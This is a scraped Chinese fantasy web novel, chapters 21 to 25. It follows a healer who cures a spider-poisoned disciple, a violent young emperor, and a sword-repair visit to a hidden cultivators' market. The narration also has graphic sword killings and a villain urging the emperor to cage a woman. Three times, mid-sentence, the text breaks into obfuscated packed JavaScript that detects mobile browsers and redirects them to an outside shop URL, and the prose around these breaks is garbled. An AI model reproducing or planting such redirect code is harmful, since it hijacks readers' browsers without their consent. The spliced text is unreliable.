樊盈绣带着千霄宫弟子回家,把他们安排住进了府苑,这里亭台阁楼、鸟语花香,无不透着精致。 孟枝枝为那位重伤的梅珊诊治,道:“赤色六目蛛毒?此毒虽然一开始看起来不痛不痒,但是一旦运气,便会融进血脉,四处奔走,越是运气,反倒越逼不出来。一般的解毒丸只能让身体短暂地止痛,让人误以为解毒成功,实际上只是让毒沉积在体内的时间更久了。” 其他人一听,便知道她是有真本事的,一眼就看中了病症关键所在。 躺在病床上的梅珊双唇惨白,忍着剧痛,道:“你是医修吗?你知道得很清楚,我、我是不是没救了?” 孟枝枝拉住她的手,“我是。有我在,不会的。” 一听此话,众人皆松了口气。 医修难修,其他修士前期靠斩妖除魔增长功力,而医修得坐得住冷板凳,要看上数千本的药书,学习万种草药,还得观摩各种疑难杂症,可以说没几个脑子啃不下来。 而世家之中的医修身份尊贵,难以请来为一般弟子诊治。 更多的是散修医修,但心思都花在了治病救人上,战斗力略薄弱,若是遇上大怪或者他人报复,容易半路夭折。 这便是医修吃力不讨好,一般人不愿选择这条道路。 孟枝枝掏出咒水,点了一下梅珊额心,再咬破自己的手指,将手指的伤口附上在一枚咒枣,摁向梅珊的额心。 “我现在要将蛛毒全部吸于你眉心之上,再用净化咒解除,会很痛,你要忍一忍。” 梅珊受蛛毒之痛已久,吃尽各种苦头,如今可以一了百了,心中勇气横生。 “我能忍。” 孟枝枝浅笑,“好,我开始了。” 咒水随着她指尖轻化成金光,在梅珊眉心化作一枚金印。 随即贴在她额心上的咒枣黑气涌动,数股邪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12993524|136670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恶之气从梅珊的体内强行往眉心涌起,涌进了咒枣内。她的脸顿时变成了黑紫色,看上去十分可怖。 孟枝枝眼睛充斥着耀眼的金光,眼白、瞳仁连成一片金色。 众人心中惊叹,她看起来年龄不大,却比之前几个医修的功法都要厉害。 孟枝枝双唇蠕动:“丹朱口神,吐秽除气,心神丹元,令我通真,思神炼液,道炁常存。急急如律令。” 她脸上瞬间冒出汗滴。 如今在她的眼中,梅珊的七筋八脉都以极度清晰的方式显现在她金色的天眼之中。为了使避开蛛毒反噬梅珊的脏器,她必须用新鲜的血液吸引蛛毒改变侵蚀的方位,这就是为什么她要在自己手上破出一个口子。 这世间几乎所有的邪恶之物都是以寄生的方式入侵宿主,若是有更新鲜更健康的宿主,邪恶之物便会自动更换旧壳,这是生物本性。 此番做法会冒一定风险,万一她被蛛毒入侵,那就难以再找到一个医修诊治她和梅珊了。 但是无风险,命不活。这就是医修的使命,从来都是在阎王跟前抢命。 孟枝枝无心去想失败的结局。 她全神贯注,将蛛毒全吸引到作为隔离媒介的咒枣上。咒枣原本通红,但随着蛛毒侵入,靠着梅珊额心的部分迅速变成紫黑色,这个紫黑色还在不断向她自己的方向靠近。 蛛毒几乎把咒枣全部侵入,咒枣通身变黑,眼看马上就要入侵她的伤口。 众人看得胆战心惊。 孟枝枝紧忙再次念出净口神咒,紫黑色褪去一部分,咒枣的一部分又显露出原有的红色。 这是一场抢夺时间的拉锯比赛。 以咒枣身上的紫黑线为分界线,一头是生,一头是死,孟枝枝不敢掉以轻心。 梅珊痛苦地呻吟,但她一点都不敢挪动头部。她经历了那么多救治办法,心里也清楚眼前这位医修几乎是用以命换命的方式为她治疗这该死的蛛毒。 患者和医生二人几乎同心协力,围观的千霄宫弟子更不敢打扰,撑起一片透明的结界,守护着二人。 樊盈绣被关在门外,安静地等待着。 一位丫鬟道:“小姐,他们怎么能把您关在门外。您为他们做了那么多事,怎么还不能看一眼?” 樊盈绣道:“你懂什么?他们可是千霄宫的弟子,自然有这个资本。” 丫鬟知道自己说错话,脸色惶恐不安,赶紧低头。 “是,是奴婢说错了。奴婢愚钝无知。” 樊盈绣睨了她一眼,道:“你知道就好。这算什么,总有一天,我也会入千霄宫,等着瞧吧。” 从天白到天黑,一颗流星划过天际。 别院中,赢破抬起满脸狰狞,怒火浇得他血液沸腾。 他看见地上的荷包,荷包变得脏兮兮,线被人挑断,边上绣进去的一圈米珠,原来它们每一颗都是光滑的雪白珠子,可爱又灵动,现在杳无生气地碎成了粉末渣子。 赢破突然意识到什么,他将荷包捡了起来,那些粉末渣子顺着他的指缝掉落下去,被风吹走了。 22. 第 22 章 在樊盈绣走后,立马就有禁军来别院巡逻。禁军们看见他们的小皇帝,捧着一个荷包站着,脸色阴沉,不知道又在想什么疯。 没人敢上前招惹。 突然,赢破拉住一个禁军的领子。 “你,把它给孤修好。” 那人看着他手里破巴巴的荷包,道:“这……陛下,卑职不会刺绣啊。” “废物。” 赢破重重地推开他,又拉起另一人的领子。 “你来。” “卑职也不会……” “陛下恕罪。” 不一会儿,庭院里跪下了乌泱泱一大片人。 赢破从一人腰间抽出一把银剑,指着眼前这群人,道:“好啊,好啊。你们这群废物,既然无用,为何不全都给孤去死!” 他头上白稠丝带乱飞,一张宛如天人的面容,分明是神武下凡,但他满脸癫狂,下眼睑鲜红,宛如在眼底画出一条横着的血痕,手中提着银剑。 “看来陛下心中已有答案。” 樊鸣从阴影处走出,用眼神示意让所有的禁军往后撤退。 偌大的庭院,只剩二人。 樊鸣走近,道:“陛下不想孟芷离开,臣有个办法。” 赢破提剑横在对方身前,银剑闪过利光,锋锐无比。 “樊、鸣。”他咬牙切齿。 他一剑刺了过去,樊鸣也不躲,正中胸前,衣服上很快染出血迹。 樊鸣表情怪异,嘴角微勾道:“陛下,气消完了吗?臣的父亲还在等着臣回家,还请陛下留臣一条贱命。” 赢破鼻腔里发出重重地一声哼,道:“威胁孤?” 樊鸣脸色一变。 他低头,见胸口的剑又深了一寸。 “陛下。” 赢破将剑抽出,又是在他身上挥舞乱砍数次,温热的血喷溅了他满脸,染红了白稠发带。 他如野兽撕咬猎物,不给樊鸣一丝一毫的机会。 终于樊鸣倒在了地面上。 他才微微喘息,将剑落在地上,拖拽着剑尖,发出哗啦刺耳的声音。 樊鸣身上全是血糊糊的剑痕,脸上却挂着诡异的笑容道:“当真不想听?” 赢破道:“闭嘴,你这怪物!” 樊鸣听完哈哈大笑,他的眼神有说不出邪恶。 “小皇帝,我与你是同类啊。” “孟芷这次走了,凭她对你那浅薄的感情,绝不会回来。人都是自私的,只要有机会,总是想要得更多,却忘记自己到底有几斤几两。但是陛下,只要你将她困在身边,像驯服鸟儿一样驯服她,不听话就折断她的翅膀,让她依赖你,只要时间足够,她迟早会爱上你。” “这才是怪物爱人的方式。”樊鸣语气有几分陶醉。 “呸。”赢破吐了一口唾沫在樊鸣脸上,“去你妈的爱。” 樊鸣的脸终于出现龟裂,道:“既然如此,那孟芷就让给臣罢。医修的滋味应该十分不错,臣还未曾尝过。” 剑影一闪。 樊鸣的嘴被划烂了。 赢破满目恶光,手中银剑剁了一下又一下。 直至大汗淋漓,赢破摇晃着身躯,以血剑为支撑。 他微微偏过头,脸上挂着温热的血滴。 樊鸣正好生生站在一众禁军中央,所有人看他跟看魔鬼一样。 他再一回头,地上那个被他砍得稀烂的人身着禁军衣着,是个眼生的普通将士。 他突然大笑,血淋淋的手捂着脸,癫狂的笑声令人发毛。 没有人轻举妄动,个个都怕成为疯皇的剑下亡魂。 是樊鸣走上前,递过去一张干净的帕子。 “陛下,请擦手。” 赢破身形一顿,血手缓缓从脸上拿开,他眼神锐利地看着樊鸣,微微做出嘴型。 “滚。” * 千霄宫弟子个个脸上欣喜万分,对孟枝枝的态度转变得十分恭敬。 “我们寻遍了医修,敢用这个法子救人的只有孟仙子,实在是多谢孟仙子,救回了梅珊师姐。云庭师兄回来知道了,一定会很高兴的。” 孟枝枝用帕子擦着脸上汗水,道:“我也是尽力而为,侥幸救治,道友们不必太过言谢。唤我枝枝吧,我不是什么仙子,只是个普通的医修。” “孟仙子谦虚了。快,让仙……枝枝好好休息。” 孟枝枝道:“等等,我还有一事想问问各位,我师父孟慕华也是一位医修,最近我不小心与师父失散,想来城中妖怪作乱,说不定我师父也被哪位仙家看中,治病救人去了,不知各位道友有没有见过我师父?” 几位弟子互相看着对方,多年来早有的默契使他们一个眼色就能明白同门所想。 “枝枝,实不相瞒。我等从未听说过‘孟慕华’这个名字。” 孟枝枝道,“当真没有吗?” 躺在病床的梅珊是在座辈分最高的,蛛毒一解,她明显感觉好多了。 她出声道:“枝枝,你莫急。千霄宫门有七位峰主,每个主峰旗下还有数座附属峰,是各堂所在之处,算上来也有数百个堂门。我们与云庭师兄都属于贤剑真君的弟子,归万剑峰的主峰,许是你师父被其他人请走,我们现在四下分散,一时信息误差,不知道也很正常。” “是的,门派之人众多,我们呆了这么多年都不曾全认得。” 孟枝枝心情稍定,她道:“我师父医术了得,听闻九年前也曾救治过仙门弟子。” 梅珊笑道:“九年,我们入千霄宫都没有九年呢!” 梅珊与孟枝枝年龄一样,都是十五岁,在场的其他弟子也几乎是这个年龄,最小的只有十二岁。 一个年龄最小的弟子兴致勃勃道:“对啊,云庭师兄是最长的,九岁被贤剑真君看中,在万剑峰的主峰上呆了十五年!说不定云庭师兄知道。” 梅珊脸色微变。 孟枝枝察觉出梅珊的表情变化,道:“是不是有不便之处?” 梅珊换做一副笑脸相迎,道:“倒不是什么不便。你救了我的命,自然是我的救命恩人,你的忙,我自然要帮。只是这次我们下山是要斩除邪祟,事关重大,容不得一点差池。大师兄又受贤剑真君之令,率领众弟子,只怕会一直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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孟枝枝道:“我有一点私事,不过县主放心,我不会惹麻烦。” 樊盈绣笑容淡淡,朱砂痣在眉心间,宛如春风和煦,明艳动人。 “孟芷,你是在得寸进尺吗?” 樊盈绣道:“我放你出宫已是破了例,像你这般伺候阿破的女子,应伴阿破左右,无论生老病死,不得离开皇宫。” 她将她等同于妃嫔,几句轻描淡写,却是在用一种上位者的姿态和她说话。 总有种仿佛自己被樊盈绣鄙夷了的感觉。 孟枝枝道:“我知晓县主为我破了例,心中很是感激。” 樊盈绣道:“你知道就好。” “不过,县主。我也为你做了事,我答应县主的事做到了,而我之所以在这里,也是因为陛下让我来帮你。认真算来,县主,我不欠你的恩情,而你该欠陛下的。” 樊盈绣脸一沉,“我与阿破之间向来不分彼此。他的,便是我的。” 23. 第 23 章 “既然如此,那我还是明天一早就离开。”孟枝枝道。 樊盈绣已经对她十分有意见,她自然知晓,自己的出现让她有了危机感。 现在她没必要再起冲突,万一惹得樊盈绣不快,她怕是今晚就要被直接赶出去。比起外面巡逻的禁军,樊府反而更加安全。 重要的是等梅珊他们的大师兄回来打听师父的下落,与小桃仙会聚。 光是为了这件事,她就能够忍耐下去。 樊盈绣瞥了她一眼,提脚离去。 孟枝枝回到屋子里。 梅珊他们住的地方毗邻人造的青山绿水,寂静幽深,符合仙人气质。 而她,不知道樊盈绣费的什么心思,将她安排在了离梅珊他们所住很远的位置,但这里装修得富丽堂皇,房屋是红砖琉璃瓦,就连柱子上都刷了一层金漆。 看得她牙酸。 想想她住在别院里破破烂烂的,晚上睡觉的时候,床板很硬,屋子的纸窗还漏风。 这樊府多高端,多有钱啊。 她躺进鹅绒被里,床被熏了香,又绵又软,整个人都可以在上面凹进去一个深痕。 她都多久没有睡到过这么舒服的床了? 她迷迷糊糊地睡了过去。 “孟芷。” “谁在叫我?”孟枝枝回应道。 孟枝枝发现自己站在别院里,声音是从赢破的屋子里传来的。 但是,她现在不应该是在樊府里吗? 难道她又穿越了? “孟芷,救我。”这一次声音清晰又急促。 她不再疑虑,赶紧快步往赢破屋子里去。 她一打开房门。 赢破跪坐在地上,双手被铁链锁着,他浑身淤青,苍白的肌肤上一道青一道紫,他嘴角流着鲜血。 他大汗淋漓,额边的头发都湿了,左眼角带着血痕,血染红了他的眼白。 “你怎么了?” 她急迫地施动咒枣,将捆束他身体的锁链弄断,再脱下外衣,将赢破包裹起来。 她双手环住他的腰肢,使他不倒下来。 赢破气息奄奄地靠在她怀里,“你终于来了。” 孟枝枝道:“是他们伤的你?” 赢破微微点了点头。 他像是遭了大罪,再没有力气跟她犟嘴。 孟枝枝赶紧往他嘴里塞几颗咒枣,从桂花香囊里取了一瓶咒水,递到了他的唇边。 赢破喝得很急,咒水从他的嘴角流出,滑落到苍白的脖颈,顺着消瘦的锁骨,一直往下。 她这时候才注意到,他的嘴唇很干,干得起皮,锁骨处还有血痕,身子也不如她之前看到的那么壮实了。 “你怎么会被欺负成这样?” 赢破喝完水,舔了舔上下唇,“难道你不知道吗?是你放弃了我,你从来心中都无我。我死了,你很开心,对吗?” 孟枝枝一怔。 他左眼被鲜血染得通红,从眼角处滑落一滴红色的泪。 “我们再也不会见面了。” 那滴红色的泪落到她的脸上,一瞬冰凉,让她尾睫一颤。 “孟芷,我恨你。” 孟枝枝猛地支起上半身,额头是点点汗珠。 虫鸣声从窗外传进来,微风拂过,让她燥热的大脑瞬间变得冷静了不少。 怎么会做这样的梦呢? 赢破说他恨她。 她心中觉得毛骨悚然,她宁愿小皇帝视她为无物,也不想被记恨上。 她可是教了他法术,还在一目五和净念道师手下留住了他的命,他有什么资格恨她? 就因为她不像以前那般全心全意为他付出?这太没道理了。 她想得通,但一想起赢破那双阴冷的眸子,躺在床上反而翻来覆去睡不着,一睁眼便睁到了大天亮,樊家的马车已在府里等着。 孟枝枝收拾出来的时候,竟然还有千霄宫弟子们为她送行。 梅珊今日已经能下床,想来是他们身上也自备了丹药恢复元气,外加梅珊也是修行之人,恢复速度自然比凡人快。 梅珊道:“枝枝,你不等大师兄回来了吗?为什么走得这么急?” 孟枝枝看了一眼旁边候着的樊盈绣,她神情淡然,腰间还配了一把剑,体贴地询问周围千霄宫的弟子昨夜是不是睡得好。 樊盈绣的视线仿佛不经意扫过孟枝枝。 孟枝枝接过梅珊的双手,道:“我还有点私事要处理,如果你们大师兄回来,能不能通知我一声,我会马上赶回来的。” 她往梅珊手里塞进去一枚符箓做的千纸鹤。 梅珊将千纸鹤放进自己的香囊里,郑重说道:“我一定会通知你的。” 孟枝枝露出浅浅的笑容:“谢谢你,梅珊。” 樊盈绣此时插话道:“孟芷,车夫已准备好,该走了。” 孟枝枝走上马车,回头看了众人一眼。 “再见诸位。” 她进了马车,车轮滚滚,驶向红尘之中。 马车驶离樊府的时候,樊鸣正骑着一批黑马回到樊府,几乎二人擦肩而过。 樊鸣见那辆马车打着樊家印记,便向管家问道:“小姐又出去了?” 管家道:“不是,小姐正在府中招待众位仙人,刚刚马车送走的也是小姐的客人。” 樊鸣心下一丝疑虑也被“仙人”二字打消了,他从马上下来,将缰绳递给了管家。 他压低声音道:“别让那些仙人靠近父亲的房间,父亲近日国事繁重,已有好几日未眠,招待的事就由我和小姐来做。” 管家眼神闪了两下,“知道了,大少爷。” * 孟枝枝让车夫送她驶向皇城之外的一座山,名叫梦泽。 梦泽山山上有座年代久远的神庙,但因常年被浓重的白雾笼罩,山上还有老虎、黑熊等禽兽。 一般凡人不敢来此处,自然也不知道这里还有一座神庙。 车轮驶到梦泽山山脚就停了下来。 孟枝枝跳下马车,车夫便悠悠地驾着马车回去了。 在马车背影彻底消失后,孟枝枝飞了起来。 她直直冲进迷雾里,开启的一双金光眼,让她看清楚了整座山脉里的动静。 她准确无误地落到神庙之地。 这里建筑破烂,灰尘积满,四周只有落叶声和怪鸟叫声。 她手指沾染一点咒水,双手结印:“太上台星,变换无尽。运行日月,道气无情。清静,清静,赋我神意。三魂具在,隐世现音。” 突然一道金色漩涡显现在眼前。 她踏入了进去。 一阵打铁声,火光霹雳横行。周围全是铺子,铺子外挂着各种颜色的灯笼,灯笼上有的写着“食”,有的写着“药”,还有的写着“易”,各式各样,令人眼花缭乱。 这里是隐世,另一个世界,是修仙者在人界的地盘,大多常期呆在这里的都是散修。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13025701|136670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原来和师父偶尔会来此处淘丹药灵草,很多修仙界才生长的灵草在这里就能买到。 不过今日她来并不是为了买药。 她来到一间没有客人的武器铺子。其他武器铺子不知为何,都挂了“单满,今日休息”的牌子。 只剩这一家武器铺子还开着了。 眼前,破烂的露天铺子像临时搭建,一支竹竿插在地上,上面支起了暗红色灯笼,灯笼布四处掀起外皮,仿佛无数块烂布拼贴而成,上面歪歪扭扭写着“器”字。 里面一个赤裸着上半身的白发老人正在大火炉旁打着手中的热铁。 “老板,我想让您帮我看看,我这把剑还能修吗?” “来客人了!来客人了!终于来客人了!”不知从何处传来的声音,像婴儿叫唤,声音尖细,重重叠叠,似远音回声,又似有许多娃娃在喊。 白发老人咒骂了一声:“闭嘴,吵吵嚷嚷像什么样子。” 那位白发老头停下手中的活,转过身走了过来,脚步稳健,一点都不虚浮。 他臭脸迎了过来:“剑,拿来。” 孟枝枝从香囊中掏出了护他剑递了过去。 自从上次与净念道师一决死战,护他剑整个剑身几近破碎,剑灵也沉睡了下去,再也没有开口说过话。 她一直就想来修剑,却身在皇宫,不得空隙,如今终于有了机会了结这桩心事。 白发老人一手拿着红通通的铁锤,一手拿起她手中的剑。 剑灵沉睡之后,护他剑只有不到巴掌大小,看上去就像个挂坠。 白发老人把玩这把玲珑小剑,左看右看。 “这是……一把有剑灵的剑?铸剑想要拥有剑灵,必须得献祭活人或者妖丹,但一般人岂敢愿意献出生命,少见。” 赵铁颇为意外地看了一下眼前的小姑娘,年龄不大,倒挺凶狠。 孟枝枝看着剑身上的裂纹,满眼心疼,道:“老板,怎样才能让剑灵复苏?” 赵铁道:“你的剑灵之所以沉睡是因为剑身断裂。剑身毁,则剑灵毁,为了不让剑身彻底破碎,剑灵使用了最后一点意志,强行粘连剑身,这是剑灵的一种自我保护。要想让剑灵复苏,除非先修好剑身,不过你这剑身颇为奇怪。” 赵铁用手上的红铁锤敲了一下剑身,护他剑掉了一块薄薄的木屑下来,露出里面一点点血色的硬壳。 他道:“本是桃木剑,里面怎么是红的?这种材料老夫我活了这么多年从未见过。” 他看得着迷,又想再敲一块下来。 孟枝枝看得心惊胆战,怕他把护他剑给敲坏了,赶紧将剑抢了回来。 “那剑身怎么修复呢?” 赵铁道:“若是玄铁制成的剑,我这倒有材料。但你这剑是桃木做的,一般铸桃木剑都采用的整颗桃木,这样能保证铸剑时剑身不遭受断裂,灵气贯通,不受其他材料排异。最好的方法是,你能找到当初造你这把剑的同株桃木,那样可以完全修复你这把剑。” 孟枝枝道:“这……恐怕难以做到。” 最初这把桃木剑是幼时师父送她的,世上桃木千千万,她哪里能知道师父用的哪株桃木。 “找相近的桃木,也许有一定几率修复,不过若是剑身相斥,你这把剑就毁了。” 孟枝枝道:“还有其他办法吗?” “有。不过有点难度。” 赵铁上下打量她,“除非找到一只妖物献祭,以灵养灵,你这剑也能修复。” 24. 第 24 章 “以灵养灵!以灵养灵!献祭妖怪,献祭妖怪!”那如婴儿尖锐的怪异声音又响起。 赵铁又回头骂骂咧咧道:“你们这群小畜生,再乱叫,信不信我把你们都吃了!” “不要吃我,不要吃我。”那声音逐渐消弭下去。 孟枝枝胳膊上冒起一层鸡皮疙瘩。 赵铁对着孟枝枝道:“材料加报酬,一颗一百五十年的妖丹,能补。” “不行!” 孟枝枝将护他剑收了回来。 她从小到大从没害过任何一条生命,从医之道,小到植、虫,大到人命,都是珍贵的。不是所有的妖怪都是坏的,也有像冥漆、小桃仙那样的好妖。她做不到平白无故夺走别人的生命。 赵铁眼巴巴地看她的剑,白胡子被铺子里大火炉炙烤出的热浪吹起。 他急道:“你脑筋怎么这么死呢?看你也是个散修,怎么那心比仙门弟子还实在。世上害人的妖怪也不少,最近那些仙门弟子不都跑下山除妖斩邪了,你跟在他们身后捡捡漏,拿只妖怪去补你的剑灵也不是怪事。” “仙门弟子不也经常这么干。” 仙门弟子经常这么干? 她半信半疑。 她从小在南元国长大,但在她幼时,师父和仙门有过交道。那时的仙门就算也有鄙视妖怪的风气,但毕竟是求道之人,自然崇敬生灵。拿妖锻剑,在她看来,过于残忍。 她问道:“你说仙门弟子下山……你知道玉坤山弟子现在在哪里吗?” 赵铁眼皮褶皱耷拉,一双眼睛却炯炯有神,道:“这老夫倒是知晓,最近隐世出现了许多仙门弟子购买丹药、修补武器。前几日老夫的店铺来了个玉坤山弟子,说起千霄宫逃跑出来的那只大妖跑到了白玉州,一得到消息,许多的仙门弟子都赶去那儿。” “要老夫说,这玉坤山的妖修也不错,有妖丹,又有道家灵气加成,是锻剑的上好材料。你要是能蛊惑一只妖修当道侣,哄一哄,骗一骗,有的妖修单纯,也会愿意为你献祭。” 他双手一摊开,“这补剑材料不就有了吗?” 孟枝枝:“……” 这器铺主人好邪性! 她装作不闻,微微侧过脸:“你刚刚说以灵养灵,如果用我的元丹去补剑,可以吗?” 赵铁瞅了她一眼,道:“以己身补剑,你这小姑娘胆子可不是一般大啊,除了剑修,谁会傻到用自己的元丹去补剑?剑修的修为和配剑息息相关,看你也不像剑修,你若是用元丹补剑,你那元丹就再也恢复不了了。对散修而言,你虽然能活下去,也跟残废差不多了。” 孟枝枝道:“哪怕我使用法咒中的生长之力也不行?” 赵铁眼中一抹邪笑,道:“你知道这世间人修的力量来源何处?” “是从万物之中借的。” “看你还是有自知之明,不像仙门宗派那些人认不清自我,真当自己是仙人了。人不像妖、鬼,具是凡胎肉·体的劣种,借来的总会还回去。你用生长之力可以临时补出元丹,但代价可比一颗元丹多得多!也许,突然之间形神俱灭,再不入轮回。” 他阴恻恻的眼睛很是吓人。 “而妖和鬼是精灵,而世间精灵皆是天生地长,天生具有法力。” “鬼等邪祟没有元丹,也就没有再生之力,但他们可以使用本体铸剑,铸完剑也不会被剥夺力量,充其量多了个弱点,拿剑即拿住它们的命。但它们的本体被藏起来,难以寻觅,再加上邪祟做的剑难以掌握,除非心甘情愿。你要捉邪祟补剑,难!” “可这妖怪就好捉了,元为本体,神为妖丹,元神合一,妖丹即在本体里。捉住之后,打回原形,就能剖出妖丹,补剑之后还容易操控。” 他舔了舔唇,“这样吧,至少一百年的妖丹。你给我挖来一个一百年的妖丹,我帮你修好剑灵。” 孟枝枝硬生生后退一步,“不用了,谢谢。” 她快步想要离开这个店铺。 “客人别走啊,客人别走啊,客人别走啊!”那群怪叫声又出现了。 赵铁抡起红色铁锤走过来,那架势似乎想拦住孟枝枝。 孟枝枝转过身,将一颗咒枣捏在掌心,正准备发力。 这时旁边一道男声传来,“赵老板,不带这么强买强卖吧?” 空中现过一道蓝光,一声炸响,地上掉落一只被烧透的、黏糊糊的泥鳅。 空气顿时散发一股焦糊的鱼腥味。 孟枝枝皱了皱眉。 一个穿着橙红相间的长衣,头戴莲花冠,惊现狐狸耳的男子摇着仕女团扇大摇大摆地走了过来。 他笑眯眯的,额前有一道蓝色的狐火标记。 “我在旁边听你胡说八道听够了,想骗别人去替你挖妖丹增强修为?” 他将手指点在薄唇间,“真是贼心不死呢!” 他的声音有种特殊魔力,淡淡的妩媚感,让人听着很舒服。 赵铁脸上表情凝固,道:“玉坤山的狐狸精!” “呸。你该叫我狐仙大人。”蓝倾嫌弃地皱了皱鼻子。 孟枝枝莫名想起了小桃仙,二妖真是有种说不出的相似。 蓝倾一把团扇挡住下半张脸,幽幽地看着他,道:“你都活了一百五十多岁了,连元丹都修炼不出来,养了这么一池子没有灵智的泥鳅精,没成想,是睹物思妖啊。” 赵铁涨红了脸,道:“玉坤山何时能管得到隐世?” 蓝倾团扇往他那处一扇,捏着鼻子往后跳了一步,道:“你是多久没有洗澡?臭得要命,一股子恶心的鱼腥味。” “还大言不惭说我玉坤山管隐世?你想打妖的主意,”蓝倾眼睛眯成一道线,“我看谁敢同意?” 此言一出,原本偷偷观察这边的人全都散开。 赵铁气得白胡子吹起,“你!” 铺子外红灯笼坠落,一阵蓝色的火焰席卷而来,然而这火焰仿佛有灵智似的,只烧铺子,不烧人,也感受不到任何温度。 赵铁急得回身捞自己铺子里的东西,压根顾不得和蓝倾吵架。 他用一种怨毒的眼神,回看蓝倾,怒喊道:“蓝倾!你不要以为你道行深,仗着是玉坤山的弟子,就可以在隐世胡作非为!你们妖类都是山林野兽,都是孽畜!” “总有一天,你会自食恶果!” 蓝倾丝毫不在意,白色的狐狸耳朵动了动,像弹走什么脏东西似的。 他往孟枝枝轻飘飘地一瞥,这一瞥让人半边骨头都酥了。 “还不走?” 他提腿就走。 孟枝枝跟了上去。 蓝倾一路慢悠悠地走着,走到别人摊子前,看看这,看看那,悠闲得很。 逛了一会儿,发觉孟枝枝还跟在他身后。 “你该不会还想找我做道侣?”蓝倾捂 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“枝枝,大师兄回来了,事态十分紧急,不容我们在皇都逗留。我们已随大师兄去白玉州斩除邪祟,若是你有空闲,请来白玉州支援我们一番,梅珊亲上。” 白玉州……看来此地非去不可了! 这只纸鹤投完信,便自燃焚尽。 孟枝枝道:“刚刚的事,多谢狐仙前辈了。” 孟枝枝从怀里拿出一只珠花金蝶发钗,蓝倾眼睛蹭地一亮,“刚刚见前辈一直在看这件发钗,想来很喜欢,我就自作主张买下了,送给你。” 蓝倾几乎是抢过珠花金蝶钗,左右摆弄,看上去喜欢得不行。 “我有事,就先走了。” 待她消失之后,蓝倾才回过神来,自言自语道:“这人倒有点意思。” 他又低头去看他的钗,美滋滋地将钗插进了头发里,掏出一面大大的铜镜左右臭美地看。 * 白玉州位于南元国的中部,是一块盆地,中心有个巨大的湖泊,形如玉佩,叫白玉湖。百姓围着这湖泊在东侧造了一座城,西侧那边全是森林。 孟枝枝赶了多日路,到达白玉州城外。 还未入白玉州,就感觉城中妖气很重,但这妖气不一定是来自那只从千霄宫逃出去的大妖,有可能是妖修的。 此时,在白玉州不远处的西方天空,有无数光影汇集,那是仙门修士法术的光束。 城中凡人看不见,走卒商贩叫卖声不绝于耳。 孟枝枝立马提步走进城中。 她一进城中,就察觉数种视线向她袭来。 周围人似乎都在若有若无地打量着她。 她不由地抚摸耳廓。 她看上去不像南元人吗? 突然,一道红光从人群中乍现,化成一团雾状红烟很快从她的眼前穿过,但周围人似乎一点也看不见。 那分明是一只鬼影! 红色鬼影跳转到一个人的身上,吸食阳气,很快又跳到另一个身上,跑得飞快。 孟枝枝眼睁睁看着那两人身上的元气受损,双唇苍白,摇摇晃晃,又稳住身形。 他们仿佛以为自己是头晕眼花,又照常走路。 这鬼敢光天化日下害人! 孟枝枝袖下两指一并,夹着一颗咒枣,正打算铲除那只鬼。突然,有人将她拉住。 “千万别动。” 25. 第 25 章 她回头,就见一个戴着白帏帽的女人站在她身旁。 “跟我过来。” “县主?”孟枝枝皱着眉头,“你怎么在这儿?” 樊盈绣脾气很坏,低语道:“你先别说话,从现在起低着头,跟我走。” “为什么?” 樊盈绣有些气急败坏,道:“你难道不知道你被通缉了吗?皇都的悬赏令早已发到各处县衙。你竟然还敢如此大摇大摆地走进白玉州。” 孟枝枝这才恍然明白过来,城中那些人的目光是在审视她。 这时她看见不远处,有人脚下踩着一张纸。 那张纸上写了“悬赏令”几个大字,还画了她的画像,下面清晰地摁上了玉玺印以及樊家的印章。 她连忙低下头,道:“怎么会突然通缉我?” 樊盈绣拉着她往一处暗巷走,此处没什么人。 她掀起白色帏帽,露出额前红痣,道:“樊鸣发现是我将你带出了宫外,这才四处散布悬赏令。” 孟枝枝道:“那县主为什么会在这里?” 樊盈绣冷笑出声,道:“我是自己一个人跑出来的。” 孟枝枝忽然明白,道:“他们也在暗处寻你回去?” 不然怎么解释樊盈绣穿着白帏帽遮挡面容,这般遮遮掩掩? 只能说明樊盈绣是偷跑出来,樊家为了她的名誉,只能偷偷找她。 樊盈绣心高气傲,道:“我绝不会回去。” 孟枝枝不知道樊盈绣和家里闹了什么矛盾,这不是她该关心的事。 她劝道:“县主,此地凶险,你独身前来太危险了。” 樊盈绣语气冲道:“你别来说教我!” 孟枝枝头疼,道:“既然如此,我还有要事在身,我们就此别过。多谢提醒。” “等等。” 孟枝枝回过头。 樊盈绣道:“我知道云庭师兄他们在何处,作为回报,你要带我一起去。” 孟枝枝道:“这……”。 樊盈绣又威胁道:“别忘了,是我带你出的皇宫。” 孟枝枝仔细思索,道:“我知道了。” 樊盈绣神情松软下来,道:“你答应了?” 孟枝枝道:“恩。” 樊盈绣似乎意外,没想到她答应得这么快。 孟枝枝走在前面,道:“县主,请跟在我后面,不要走丢了。” 她手指向上弹出一颗咒枣,捏诀,二人身上皆闪过一道波动的纹路,很快街上的人都不注意她们了。 